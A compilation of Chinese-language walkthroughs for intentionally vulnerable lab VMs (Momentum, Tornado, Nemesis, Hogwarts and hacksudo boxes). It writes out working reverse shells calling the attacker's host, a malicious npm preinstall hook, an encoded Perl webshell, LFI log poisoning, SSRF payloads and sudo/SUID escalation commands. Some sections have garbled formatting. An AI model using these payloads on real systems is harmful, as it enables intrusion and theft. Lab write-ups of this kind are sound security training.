Momentum 1

Momentum:1

一、基本信息

名称:Momentum:1

发布日期:2021.4.22

作者:AL1ENUM

系列:Momentum

推特:@AL1ENUM

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:Momentum.ova

文件大小:662MB

下载地址:

MD5: 556BEA96FE2CB1506814D1E79F5C5E19

SHA1: 40C918A7EFF2EB3CF1708428A583702A4BFFD96C

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Momentum和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问首页有一些图片:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.106 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现四个可见目录,可以去看看:

1
gobuster dir -u http://192.168.56.106 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt,目录扫描

image-

XSS漏洞利用

1.访问192.168.56.106/js,发现有一个main.js,js里有个重定向链接opus-details.php?id=,后面拼接了个参数str,而这个php是主页图片点击后再点击一次的详情介绍:

image-

image-

image-

2.拼接的str字串会被直接打印出来,因为是js下进行构建的,首先想到xss,构造xss的payload爆出cookie:

image-

1
payload:<script>alert(document.cookie)</script>

image-

3.这cookie明显是进行了加密,回到main.js有提示,使用的是aes,进行解密得到很像用户名-密码的形式的字串auxerre-alienum##:

image-

SSH登录,准备提权

1.因为靶机有开放22端口,利用ssh登录,发现用户auxerre的密码就是auxerre-alienum##:

image-

2.接下来我们要使用LinEnum.sh这个工具对靶机进行进一步信息收集,在kali搭建一个http服务,准备上传工具到靶机
(工具地址:https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh):

1
python3 -m http.server 8001,kali开启http服务

image-

1
wget http://192.168.56.102:8001/LinEnum.sh,靶机下载工具(文件在桌面)

image-

3.添加权限,靶机运行LinEnum.sh后,查看输出信息,发现6379端口占用,此端口是数据库redis的默认端口,确认后可以尝试kali登录redis:

1
2
3
chmod +x LinEnum.sh
./LinEnum.sh > 1.txt
cat 1.txt

image-

image-

image-

4.现在我们可以尝试利用ssh远程连接6379端口,然后在kali端登录,这里kali同样使用6379端口:

1
ssh -L 6379:127.0.0.1:6379 auxerre@192.168.56.106

image-

1
redis-cli -h 127.0.0.1 -p 6379

image-

root提权

1.我们可以在数据库内看到一个rootpass键,而键内包含着很像是密码的字串,使用root用户登录,成功提权:

1
2
keys *
get rootpass

image-

2.进行root登录,在/root目录下能找到flag,即root.txt:

image-

IA Tornado

IA: TORNADO

一、基本信息

名称:IA: Tornado

发布日期:2020.12.20

作者:InfoSec Articles

系列:IA

推特: @infosecarticles

二、靶机简介

Flags:

catchme:/~/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:tornado.ova

文件大小:1019MB

下载地址:

MD5: 86B49BD71057DB337A85C1EC1BAB1076

SHA1: A74D80B7BDE2B4DA63AAF1E6B4714E43D6862409

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机tornado和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问主页,还是Apache初始页,源码没有更多信息:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.132 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现/bluesky目录,页面源码也没发现更多可用信息:

1
gobuster dir -u http://192.168.56.132 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-

image-

文件包含漏洞发现

1.我们继续对/bluesky目录进行扫描,发现有登录页与注册页,我们在注册页随意注册然后登录:

1
gobuster dir -u http://192.168.56.132/bluesky -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-

image-

image-

2.登录后,在PORTFOLIO页能发现提示存在LFI,并且在源码内有路径提示:

image-

3.利用LFI,我们可以获取到一些登录账号:

1
http://192.168.56.132/~tornado/imp.txt

image-

SQL截断攻击

1.然而,当我们使用这些账号,会发现这些账号都已经被注册了,这时我在注册页源码发现前端对email长度做了最大限制:

image-

2.这时可以想到是否存在SQL截断攻击的利用,修改maxlength后测试发现,能够将jacob@tornado用户的密码更改:

image-

image-

3.成功登录到jacob@tornado:

image-

命令注入,构建shell

1.现在我们可以在CONTACT页面输入payload,并在kali开启对应监听,获得shell:

image-

1
2
3
4
php -r '$sock=fsockopen("192.168.56.102",9002);exec("/bin/sh -i <&3 >&3 2>&3");'

nc -lvnp 9002
python -c 'import pty; pty.spawn("/bin/bash");'

image-

初步提权

1.查看可用文件权限,发现npm可以使用:

1
sudo -l

2.先在kali下写一个json文件,如package.json,开启http服务:

1
2
3
4
5
6
7
8
9
10
11
12
vim package.json
{
"name": "jin",
"version": "1.0.0",
"description": "follow jin on medium and twitter",
"main": "index.js",
"scripts": {
"preinstall": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.56.102 9003 > /tmp/f"
}
}

python3 -m http.server 8001

3.在靶机/tmp目录下建立一个json目录,然后获取json文件,再利用npm触发shell:

1
2
3
4
5
6
7
cd /tmp
mkdir jin
wget http://192.168.56.102:8001/package.json
mv package.json jin
chmod +s jin/

sudo -u catchme /usr/bin/npm i /tmp/jin — unsafe

image-
image-

image-

4.可以成功地在catchme用户目录下找到第一个flag,user.txt:

1
2
3
cd ~
ls -al
cat user.txt

image-

root提权

1.查看同目录下的enc.py文件,发现是个加密程序,告知我们密文,粗略阅读程序,明显是凯撒密码的变种,我们利用https://www.boxentriq.com/code-breaking/caesar-cipher,不使用key自动破解:

image-

image-

2.但自动破解出来的并不是密码,但非常接近了,我们回看程序,对比自动解出的字串,得到key是u,而w是在u后的字符,不应该变化,可分析出最后密码是idkrootpassword:

image-

3.最后能在/root目录下发现第二个flag,root.txt:

1
2
3
cd /root
ls -al
cat root.txt

image-

IA Nemesis

IA: NEMESIS (1.0.1)

一、基本信息

名称:IA: Nemesis (1.0.1)

发布日期:2020.10.25

作者:InfoSec Articles

系列:IA

推特: @infosecarticles

二、靶机简介

Flags:

thanos://flag1.txt
carlos:/
/flag2.txt
root:/root/root.txt

难度:困难

三、文件信息

文件名:Nemesis-v1.0.1.ova

文件大小:537MB

下载地址:

MD5: 1E1B81A4B2AF9A2BAC30ED2B26B779BB

SHA1: 182F226EBD925575F50F24D04C515DF79424775E

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Nemesis和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放了80,52845和52846端口,访问主页,在sign up页的validate函数可以发现登录的用户和密码,登录之后没有可用信息:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.131 | tee nmapscan,端口扫描

image-

image-

image-

3.最后再进行一下目录扫描,发现robots.txt文件,提示我们去寻找可用的攻击点:

1
gobuster dir -u http://192.168.56.131 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

image-

image-

文件包含漏洞利用

1.我们接着访问52845端口,网页源码没有过多发现:

image-

2.在Contact Us页发现在Message框内输入任何信息都会收到写入文件的提示,测试后发现确实存在文件包含漏洞:

image-

image-

3.发现靶机存在thanos用户,可以尝试获取其ssh密钥:

1
/home/thanos/.ssh/id_rsa

image-

4.将thanos用户ssh私钥获取到kali后,ssh登录thanos用户:

1
2
chmod 400 id
ssh thanos@192.168.56.131 -p 52846 -i id

image-

5.登录后可在用户目录下发现第一个flag,即flag1.txt:

1
2
ls -al
cat flag1.txt

image-

初步提权

1.我们可以在thanos用户目录下发现属于carlos用户的backup.py:

1
cat backup.py

image-

2.通过利用pspy64s工具,可以发现backup.py是被定时调用的:

1
2
3
4
5
python3 -m http.server 8001,kali开启http服务

wget http://192.168.56.102:8001/pspy64s,thanos获取pspy64s工具
chmod +x pspy64s
./pspy64s

image-

3.那我们只需要把原backup.py重命名(因为我们没有修改其内容的权限),重新写入一个backup.py,内容为反弹shell就可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mv backup.py backup_original.py
vi backup.py

import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.102",9002))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

nc -lvnp 9002,kali开启对应端口监听

image-

4.可以在carlos用户目录下发现第二个flag,即flag2.txt:

1
2
ls -al
cat flag2.txt

image-

root提权

1.同时在carlos用户目录下还能发现root.txt,查看后是让我们去分析encrypt.py文件:

1
cat root.txt

image-

2.查看encrypt.py文件后,联系root.txt,通过位置对应我们能知道FUN的密文是QZA,则可写出解密程序:

1
cat encrypt.py

image-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 先确定key为key[89, 65]
import sys
def affine_encrypt(text, key):
return ''.join([ chr((( key[0]*(ord(t) - ord('A')) + key[1] ) % 26) + ord('A')) for t in text.upper().replace(' ', '') ])

if __name__ == '__main__':
affine_text="FUN"
for key0 in range(65, 91):
for key1 in range(65, 91):
encrypt_text = affine_encrypt(affine_text, [key0, key1])
if encrypt_text == "QZA":
print(key0,key1)
sys.exit(0)

# 解密程序,得到password为ENCRYPTIONISFUNPASSWORD
def affine_decrypt(cipher):
text = []
for t in cipher:
b = ord(t) - ord('A')
for x in range(0, 26):
result = (65 + x*89 - b) % 26
if result == 0:
text.append(chr(x + ord('A')))
break
print(''.join(text))

if __name__ == '__main__':
affine_encrypted_text = "FAJSRWOXLAXDQZAWNDDVLSU"
affine_decrypt(affine_encrypted_text)

3.再进行文件权限查看,发现可以使用nano进行提权:

1
sudo -l

image-

4.在gtfobins上查询nano提权方式,成功提权到root:

image-

1
2
3
4
su carlos,在thanos用户下登录到carlos,password是ENCRYPTIONISFUNPASSWORD
sudo -u root /bin/nano /opt/priv
ctrl+r,ctrl+x
reset; sh 1>&0 2>&0

image-

5.在/root目录下可以发现第三个flag,即root.txt:

1
2
3
cd /root
ls -al
cat root.txt

image-

Hogwarts Dobby

HOGWARTS: DOBBY

一、基本信息

名称:Hogwarts: Dobby

发布日期:2020.11.8

作者:BLY

系列:Hogwarts

推特:@BertrandLorent9

二、靶机简介

Flags:

root:/root/proof.txt

难度:简单

三、文件信息

文件名:dobby.ova

文件大小:3.7GB

下载地址:

MD5: 11B9FD40B70344A71B432A608EE640AB

SHA1: 68110B92FD58D6A4C8F0CDBE169E29259AC797A6

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机dobby和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了80端口,访问主页,还是apache的默认页,但源码有路径提示:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.126 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,/log目录值得关注一下:

1
gobuster dir -u http://192.168.56.126 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

网页发现

1.访问/alohomora目录,发现Draco用户的密码提示:

image-

2.访问/log目录,发现直接提示了一个密码和路径:

image-

3.继续访问/DiagonAlley,发现一串brainfuck编码,且这个页面是用wordpress搭建的:

image-

4.将brainfuck字串解码,但解出来是乱码:

image-

Wordpress后台登录,写入shell

1.再从wordpress入手,用wpscan进行扫描,但没有过多问题:

1
wpscan --url http://192.168.56.126/DiagonAlley --detection-mode aggressive

image-

2.进入wp-login.php后台页,我们有用户draco,而提示他的马的名字slytherin就是密码:

image-

3.进入wordpress后台后,对kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php进行ip及端口修改,在Apariencia-Editor de temas-Error 404页写入:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

image-

4.在kali开启对应端口监听,访问/DiagonAlley目录下不存在页即可触发shell,再利用python构建交互式shell:

1
2
3
nc -lvnp 9001

python3 -c 'import pty; pty.spawn("/bin/bash");'

image-

image-

root提权

1.查找有suid的文件,发现find:

1
find / -perm -u=s -type f 2>/dev/null | grep usr/bin

image-

2.利用find可以直接提权到root:

1
find . -exec /bin/sh -p \; -quit

image-

Flag获取

1.现在我们在/root目录下能够发现flag,即proof.txt:

1
2
3
cd /root
ls -la
vi proof.txt

image-

Hogwarts Nagini

HarryPotter:Nagini

一、基本信息

名称:Hogwarts: Nagini

发布日期:2021.4.29

作者:Mansoor R

系列:Hogwarts

推特:@time4ster

二、靶机简介

Flags:

www-data:/var/www/html/horcrux1.txt
hermoine:/root/horcrux2.txt
root:/root/horcrux3.txt

难度:困难

三、文件信息

文件名:Nagini.ova

文件大小:741MB

下载地址:

MD5: B6C8F47BFB2421D1F12B6C1A2C095088

SHA1: 5CF128C51A445434E216A8C5F4087D9ECFB96739

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Nagini和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问首页只有一张图片:

1
nmap -sC -A -p- 192.168.56.105,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现一个note.txt,可以去看看:

1
gobuster dir -u http://192.168.56.105 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt,目录扫描

image-

SSRF漏洞利用

1.直接访问192.168.56.105/note.txt,发现页面提示要使用http3,需要使用curl配置http3,把quic.nagini.hogwarts加入host,利用curl获取网页内容(curl配置http3见:https://github.com/curl/curl/blob/master/docs/HTTP3.md,配置好后无法链接可以将kali的网络配置暂时换为NAT):

image-

image-

image-

2.在用http3协议访问之后,我们根据提示可以去看internalResourceFeTcher.php这个文件,发现是一个可以利用的SSRF:

image-

1
curl 'http://quic.nagini.hogwarts/internalResourceFeTcher.php?url=file:///etc/passwd',可以获取/etc/passwd目录下的内容

image-

数据库修改登录

1.我们可以利用cms的特性扫描joomla数据库所在目录,可以发现配置文件configuration.php,而这个配置文件告知了我们joomla库下一个无密码用户goblin:

1
curl 'http://quic.nagini.hogwarts/internalResourceFeTcher.php?url=file:///var/www/html/joomla/configuration.php'

image-

2.接下来我们要使用Gopherus这个工具生成payload,进行sql注入类的操作,需要使用pip2:

1
2
3
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 -V

3.将Gopherus生成的payload拼接到http://192.168.56.105/internalResourceFeTcher.php?url=后面,我们已经知道goblin是无密码用户,则我们可使用update命令把新密码加给新加入的用户:

1
2
3
USE joomla; 
UPDATE joomla_users SET password=‘5f4dcc3b5aa765d61d8327deb882cf99’
WHERE email=‘site_admin@nagini.hogwarts’;

image-

4.现在可以使用site_admin用户,密码password登录/joomla/administrator:

image-

后台写入脚本,getshell

1.在后台Extensions栏Templates页,选择Protostar,选择newfile,创建一个php文件,php反弹代码如下:

image-

image-

image-
php```
'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf('/tmp/.bc',$back_connect); $res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); ?>

1
2
>
> 2.开启kali的对应端口监听,访问http://192.168.56.105/joomla/templates/protostar/rev.php,成功getshell,再利用python简历交互式shell:

nc -lvnp 1234
python3 -c “import pty;pty.spawn(‘/bin/bash’)”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
![image-](18.png)

### SSH登录,准备提权
1.首先在/var/www/html目录下有第一个flag,即horcrux1.txt,进行base64解密:

![image-](19.png)

2.然后在/home/hermoine目录下有第二个flag,即horcrux2.txt,但我们没有权限查看:

![image-](20.png)

![image-](21.png)

3.继续查看/home/snape目录,此目录下有一个.creds.txt文件,有一段base64编码,很可能就是snape用户ssh登录的密码:

![image-](22.png)

![image-](23.png)

4.登录snape后,我们可以将我们kali的ssh-keygen复制到snape的/home/hermoine目录下,并命名为authorized_keys,赋予权限,利用本就在hermoine目录下的su_cp执行,从而在kali上可以不使用密码ssh登录hermoine:

find / -perm -u=s 2>/dev/null

1
![image-](24.png)

Kali:
ssh-keygen
cat ~/.ssh/id_rsa.pub

snape:
vim /home/snape/authorized_keys
chmod 640 authorized_keys

1
![image-](25.png)

cd /home/hermoine/bin
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/

1
![image-](26.png)

Kali:
ssh hermoine@192.168.56.105 -i .ssh/id_rsa

1
2
3
4
5
6

5.这个时候我们就可以去/root目录下查看horcrux2.txt这个文件,同样是用base64解密:
![image-](27.png)

### root提权
1.我们可以在.mozilla/firefox/g2mhbq0o.default/目录下发现浏览器的登录信息,则考虑使用读取浏览器用户名和密码的工具firepwd,在hermoine开启一个http服务,传输要解密的文件给kali,可以爆出root的密码:

hermoine:
cd .mozilla/firefox/g2mhbq0o.default/
ls -al

1
![image-](28.png)

python3 -m http.server 9000
Kali:
unzip firepwd-master.zip,把firepwd下载到kali解压
cd firepwd-master
sudo pip install -r requirements.txt
pip3 install pycrypto
pip3 install pycryptodome
mkdir creds
cd creds
cp ~/Desktop/firepwd-master/firepwd.py ~/Desktop/firepwd-master/creds
wget http://192.168.56.105:9000//logins.json
wget http://192.168.56.105:9000//key4.db
python3 firepwd.py

```

image-

2.进行root登录,在/home目录下能找到最后一个flag,即horcrux3.txt:
image-

image-

Hogwarts Bellatrix

HOGWARTS: BELLATRIX

一、基本信息

名称:Hogwarts: Bellatrix

发布日期:2020.11.28

作者:BLY

系列:Hogwarts

推特:@BertrandLorent9

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:Bellatrix.ova

文件大小:4.1GB

下载地址:

MD5: E6D98D406CDF7641E4A966F16AFAF536

SHA1: 8389861C7F2B1626190844E31A2A1A4ADE385E06

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(ubuntu)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Bellatrix和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问主页,发现提示存在文件包含:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.127 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,没有太多值得关注的信息:

1
gobuster dir -u http://192.168.56.127 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

文件包含漏洞利用

1.在主页其实是提示了有ikilledsiriusblack.php这个文件,后面跟file参数存在文件包含漏洞:

1
http://192.168.56.127/ikilledsiriusblack.php?file=/etc/passwd

image-

2.利用文件包含漏洞,写入payload,获得shell:

1
http://192.168.56.127/ikilledsiriusblack.php?file=/var/log/auth.log,可以查看SSH日志信息

image-

1
2
ssh '<?php system($_GET['cmd']);?>'@192.168.56.127,稍微污染SSH日志信息
http://192.168.56.127/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=id,可以使用cmd命令

image-

image-

1
2
3
4
5
nc -lvnp 1234

http://192.168.56.127/ikilledsiriusblack.php?file=/var/log/auth.log&cmd=php+-r+'$sock%3dfsockopen("192.168.56.102",1234)%3bexec("/bin/sh+-i+<%263+>%263+2>%263")%3b',写入命令反弹shell

python3 -c 'import pty; pty.spawn("/bin/bash");'

image-

密码爆破,初步提权

1.我们可以在当前目录下发现一个被类似base编码了的目录,目录下有一个隐藏的字典文件:

1
2
3
4
ls -la
cd c2VjcmV0cw==
ls -la
cat .secret.dic

image-

2.而Swordofgryffindor内是lestrange用户与其密码hash:

1
cat Swordofgryffindor

image-

3.将密码字典复制与密码hash到kali本地,利用john进行爆破:

1
2
3
vim dic.txt
vim hash.txt
john --wordlist=dic.txt hash.txt

image-

4.可以登录到lestrange用户:

image-

root提权

1.利用sudo -l命令,查找可用文件,发现vim可以提权:

1
sudo -l

image-

2.直接写入,提权到root:

1
sudo -u root /usr/bin/vim -c ':!/bin/sh'

image-

Flag获取

1.现在我们在/root目录下能够发现flag,即proof.txt:

1
2
3
cd /root
ls -la
cat root.txt

image-

Harrypotter Aragog

HarryPotter:Aragog

一、基本信息

名称:HarryPotter:Aragog

发布日期:2021.5.10

作者:Mansoor R

系列:HarryPotter

推特:@time4ster

二、靶机简介

Flags:

www-data:/home/hagrid98/horcrux1.txt
root:/root/horcrux2.txt

难度:简单

三、文件信息

文件名:Aragog-1.0.2.ova

文件大小:705MB

下载地址:

MD5: 48A8BD22B27945A9A6FBCF6C57150162

SHA1: DA8B34EAD85C1F6AB66A907A6BA94F6B8284BCF7

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Aragog和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问首页只有一张图片:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.104 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现一个blog目录,可以去看看:

1
dirb http://192.168.56.104,目录扫描

image-

wpscan漏洞发现

1.直接访问192.168.56.104/blog,发现页面提示是使用WordPress搭建的blog,想访问Notice等页面的内容和使用wpscan进行扫描,要添加一下host:

image-

image-

2.再利用wpscan扫描得到漏洞,–pluguns-detection aggressive模式下有几个漏洞,都是有关file manager的:

1
wpscan --url http://wordpress.aragog.hogwarts/blog --plugins-detection aggressive

image-

msf getshell

1.我们可以利用msf查找可用的file manager利用工具,配置后进行shell:

1
2
msfconsole
search file manager wordpress,查看相关漏洞利用工具

image-

1
2
3
4
5
exploit/multi/http/wp_file_manager_rce -y,漏洞工具选择
set TARGETURI /blog,配置URI
set RHOSTS wordpress.aragog.hogwarts,配置远程地址
set LHOST 192.168.56.102,配置本地地址
run

image-

2.再利用python,获取一个ttyshell,查询目录,在/home/hagrid98下能找到第一个flag,horcrux1.txt:

1
2
3
shell
python3 -c ‘import pty; pty.spawn(“/bin/bash”);’
cat /home/hagrid98/horcrux1.txt

image-

image-

mysql登录,进行提权

1.在/etc/wordpress目录下的config-defaut.php文件内能看到一个数据库密码,登录mysql后进入wordpress数据库查询wp_users表能够得到hagrid98的ssh登录密码:

1
cat /etc/wordpress/config-default.php,得到root数据库密码

image-

1
2
3
mysql -u root -p,登录mysql,密码为mySecr3tPass
use wordpress;
select * from wp_users;

image-

image-

2.进行ssh登录hagrid98,查找备份文件可以发现一个脚本:

image-

1
find / -name "*back*"

image-

3.在这里我们简单弹个shell,因为/opt/.backup.sh是被修改过的,我们也有权利进行修改:

1
echo "bash -c 'bash -i >& /dev/tcp/192.168.56.102/5555 0>&1'" >> /opt/.backup.sh

image-

4.从.backup.sh的文件内容看,/tmp目录是可以进行拷贝等操作的,我们可以尝试把文件拷贝到/tmp目录下执行,同时kali监听5555端口,并且网页访问/tmp/tmp_wp_uploads目录:

1
2
3
4
nc -lvnp 5555,kali监听
cp /opt/.backup.sh /tmp/.backup.sh
cd /tmp
./.backup.sh

5.在root用户的/root目录下能发现第二个flag,即horcrux2.txt:

image-

Hacksudo Search

Hacksudo:Search

一、基本信息

名称:hacksudo:search

发布日期:2021.4.16

作者:Vishal Waghmare

系列:hacksudo

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:hacksudo-search.zip

文件大小:853MB

下载地址:

MD5: DA5AF5CA7DE9C5FE77CF351631D262A7

SHA1: 28C122BCBD488FFA4B9660123D0A07DAFD065581

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Search和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放22,80端口,访问主页是一个搜索框,同时可以直接看到search.php:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.111 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现一个search1.php的文件,可以进行访问:

1
gobuster dir -u http://192.168.56.111/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

image-

发现文件包含漏洞

1.访问search1.php文件发现比search.php多了上栏,且通过修改About页地址me大小写,能够发现存在文件包含漏洞,在源码中也有提示:

image-

2.可以通过页面输出内容,也可用测试存在RFI:

image-

上传webshell

1.修改kali自带的webshell,/usr/share/webshells/php/php-reverse-shell.php,在同目录下kali开启http服务:

image-

image-

2.通过文件包含漏洞让靶机获取webshell,kali开启监听端口,访问触发,再用python构建交互式shell:

image-

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-

3.在/usr/www/html目录下能够发现一个.env文件,文件内有一个数据库用户和密码,但是无法登录:

image-

4.后来发现,这个密码是hacksudo用户ssh登录的密码,用户目录下user.txt即是第一个flag:

image-

root提权

1.进入hacksudo用户,查看具有root权限的suid文件,尝试提权:

1
find / -perm -u=s -type f 2>/dev/null

image-

2.查询到cpulimit文件,再去https://gtfobins.github.io/查询提权方式:

image-

3.成功登录root用户,在/root目录下发现flag,root.txt:

1
2
3
4
5
6
cd /tmp
echo '/bin/bash -i' > install
chmod +x install
cd ~/search/tools/
export PATH=/tmp/:$PATH
./searchinstall -p

image-

4.在/root目录下,可以找到flag,即root.txt:

image-

Hacksudo FOG

Hacksudo:FOG

一、基本信息

名称:hacksudo:FOG

发布日期:2021.5.14

作者:Vishal Waghmare

系列:hacksudo

二、靶机简介

Flags:

hacksudo:/flag1.txt
www-data:/var/www/flag2.txt
root:/root/root.txt

难度:中等

三、文件信息

